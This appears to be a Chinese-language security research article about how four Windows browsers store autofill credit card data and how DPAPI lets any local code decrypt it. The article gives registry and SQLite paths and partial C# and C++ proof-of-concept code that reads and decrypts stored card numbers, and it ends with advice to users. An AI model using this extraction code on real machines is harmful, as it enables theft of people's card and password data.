一.写在前面的话
在如今信用卡时代,信用卡盗刷案例层出不穷,作案方式也是五花八门。如中间人(MITM),恶意软件和rootkit攻击。一旦攻击者获得数据访问权限,他们会将窃取到的信用卡信息转移到他们的服务器,然后将其用于匿名支付或出售以赚取利润。
最近我们研究了几款最受欢迎的四种浏览器—Internet Explorer(IE),Microsoft Edge,Google Chrome和Mozilla Firefox是如何存储信用卡数据以及其他的安全风险。
二.记住密码
如今许多浏览器为了方便用户使用提供了记住密码等功能。但同时也暴露了一些安全问题。就以“记住密码”功能为例。首先我们了解下它的工作原理:浏览器存储HTML表单数据,并在请求信息时自动填写表单。这样可以避免用户重新输入信息,节省填写表单的时间。在研究中我们发现IE,Edge,Chrome和Firefox都存在记住密码的功能。不幸的是,他们存储敏感信息的方式都存在安全隐患。
在图1中,您可以看到记住密码功能的一个示例。
图1
三.如何储存自动填写的数据
自动填写数据基于操作系统(OS)的不同存储在不同位置。我们看看常见的几种浏览器是怎么储存数据的。
IE和Edge将数据存储至以下注册表项
- HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms FormData
- HKEY_CURRENT_USER Software Classes LocalSettings Software Microsoft Windows CurrentVersion
- AppContainer Storage microsoft.microsoftedge_8wekyb3d8bbwe MicrosoftEdge IntelliForms FormData
- HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage1
- HKEY_CURRENT_USER Software Microsoft Internet Explorer IntelliForms Storage2
Chrome将数据存储在SQLite数据库文件中
- %LocalAppData% Google Chrome User Data Default Web Data
Firefox将数据存储在SQLite数据库文件中
- %AppData% Mozilla Firefox Profiles {uniqString}。默认 formhistory.sqlite
需要注意的是IE,Edge,Chrome和Firefox都利用Windows DPAPI(数据保护接口)来加密自动填写数据,并在下次使用之前将其解密。
四.DPAPI
DPAPI(数据保护接口)是一对调用函数,为用户和系统进程提供操作系统级别的数据保护服务。可是我们知道数据保护是操作系统的一部分,所以每个应用程序都可以保护数据,而不需要任何特定的加密代码,也就是说不需要DPAPI进行的函数调用。
那么问题来了:浏览器使用DPAPI函数,同时加密所需的数据,而且不需要用户干预。任何脚本或代码都可以在不需要特殊许可或提升权限的情况下就可以调用解密DPAPI函数来解密数据,比如信用卡信息。
五.加密数据提取
为了从IE,Edge,Chrome和Firefox中提取信用卡数据,我们需要了解两件事情:
1.SQLite数据库结构
2.如何使用DPAPI解密信用卡信息
SQLite是如今很受欢迎的嵌入式数据库软件。它广泛部署数据库引擎,也用于浏览器,操作系统,嵌入式系统(例如,移动电话)和其它软件。
DPAPI CryptUnprotectData函数
图2
重要参数:
pDataIn [输入]
指向保存加密数据的DATA_BLOB结构的指针。
ppszDataDescr [输出,可选]
指向加密数据字符串可读的指针。
pOptionalEntropy [输入,可选]
指向数据加密时使用的密码或其他附加熵的DATA_BLOB结构的指针 。
pPromptStruct [输入,可选]
指向CRYPTPROTECT_PROMPTSTRUCT结构的指针,该结构提供有关显示提示的位置和时间以及这些提示的内容应该是什么内容的信息。该参数可以设置为NULL。
pDataOut [输出]
指向接收解密数据的DATA_BLOB结构的指针。
六.Chrome案例研究
1.Chrome SQLite存储文件
图3通过使用“DB Browser for SQLite”工具显示Chrome的自动填写数据(在Web数据SQLite文件下)。
请注意,Chrome会将信用卡详细信息保存在一个名为“credit_cards”的单独表格中
图3
正如你所看到的,所有的细节都是明文的,除了card_number字段,它为一个加密的BlobData字段。
在图4中,您可以看到其他保存的表格,其中的数据也未加密。
图4
2.Chrome DPAPI调用
Chrome浏览器允许用户通过设置来查看存储的信用卡信息,你在地址栏输入chrome:// settings / AutoFill就可以看见了。
图5
正如你看到的,我们有一张编号“4916 4182 7187 7549”的信用卡。当要求查看信用卡信息时,或者浏览器尝试自动填写表单字段时,会调用用于解密数据的DPAPI功能。
在图6中,您可以看到Chrome API对DPAPI函数-CryptUnProtectData()的调用。参数pDataOut-> pbdata指向返回的解密数据(参见函数声明和pDataOut参数)。
*您可以在pDataOut-> pbdata的地址空间中看到卡号“4916 4182 7187 7549” 。
图6
图6- API监视器,Chrome浏览器调用DPAPI CryptUnprotectData()函数
无独有偶,IE和Edge浏览器在自动填写用户表单字段时使用相同的过程。
唯一的区别是IE和Edge将他们的自动填写数据作为加密的BlobData存储在注册表中。
至于Firefox,您也可以使用“DB Browser for SQLite”工具查看未加密的数据。
七.深入探索代码
在了解这些情况之后,我们可以从以下两点来编写我们POC:
1.将处理SQLite数据库(适用于Chrome和Firefox)和DPAPI的软件包导入到我们的项目中。
2.使用DPAPI函数来解密浏览器的自动填写的BlobData。
Chrome代码(C#)
第1行 – 定义Chrome自动填写数据库文件的路径(应该关闭Chrome才能访问该文件)。
第2行 – 定义存储信用卡详细信息的表的名称。
- string SQLiteFilePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+ "\Google\Chrome\User Data\Default\Web Data";
- string tableName = "credit_cards";
- . . .
第1-5行定义到db的连接,以及查询所需的表(credit_cards)。
第7-8行将所需数据返回到DB DataTable对象(此对象表示一个内存数据表)。
- string ConnectionString = "data source=" + SQLiteFilePath + ";New=True;UseUTF16Encoding=True";
- string sql = string.Format("SELECT * FROM {0} ", tableName);
- SQLiteConnection connect = new SQLiteConnection(ConnectionString)
- SQLiteCommand command = new SQLiteCommand(sql, connect);
- SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
- DataTable DB = new DataTable();
- adapter.Fill(DB);
- ................
第1行从DB对象中提取加密的BlobData字段(信用卡号)。
第2行发送加密的BlobData进行解密。
- byte[] byteArray = (byte[])DB.Rows[i][4];
- byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
- . . .
- }
IE & Edge code (C++)- –
第1行定义了一个DATA_BLOB对象,该对象将保存加密数据(自动填写注册表值)。
第2行定义了一个DATA_BLOB对象,该对象将保存解密的数据(自动填写注册表值)。
第4-8行定义了注册码。(这些注册表键都保存着reg值,它们保存着自动填写Blob数据)。
- DATA_BLOB DataIn;
- DATA_BLOB DataVerify;
- std::vector<LPCWSTR> RegKeys;
- RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\FormData");
- RegKeys.push_back(L"Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData");
- RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\Storage1");
- RegKeys.push_back(L"Software\Microsoft\Internet Explorer\IntelliForms\Storage2");
- . . .
剩下要做的就是运行每个注册表项,并为每个注册表项提取其注册表值(自动填写BlobData)。
- for (int i = 0; i < 4; i++)
- {
- RegOpenKeyEx(HKEY_CURRENT_USER, RegKeys[i], 0, KEY_QUERY_VALUE, &hKey)
- for (int j = 0; j < keyValues.size(); j++)
- {
- RegQueryValueEx(hKey, keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize);
- . . .
为了将数据发送到解密函数(decryptContentDPAPI是CryptUnProtectData()函数的包装函数),我们需要将返回的自动填写BlobData(通过RegQueryValueEx调用获取)转换为DATA_BLOB对象。解密后的数据将被返回到DataVerify对象中。
- DataIn.cbData = dwBufSize;
- DataIn.pbData = dwReturn;
- decryptContentDPAPI(&DataIn,&DataVerify);
- . . .
八.写在最后的话
综上所述,问题的根源在于使用了DPAPI,正因为这样恶意软件和木马就可以在不需要用户干预的情况下自动解密数据。提取到用户数据,例如信用卡和密码数据。
一些建议:
第一,禁用浏览器的自动填写选项。
第二,尽量不要在浏览器中填写关于信用卡的数据,更不要在不安全的网络环境进行交易。
参考文献
- https://msdn.microsoft.com/en-us/library/ms995355.aspx
- https://www.sqlite.org/
- https://www.kraftkennedy.com/roaming-internet-explorer-chrome-user-saved-passwords-ue-v/
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx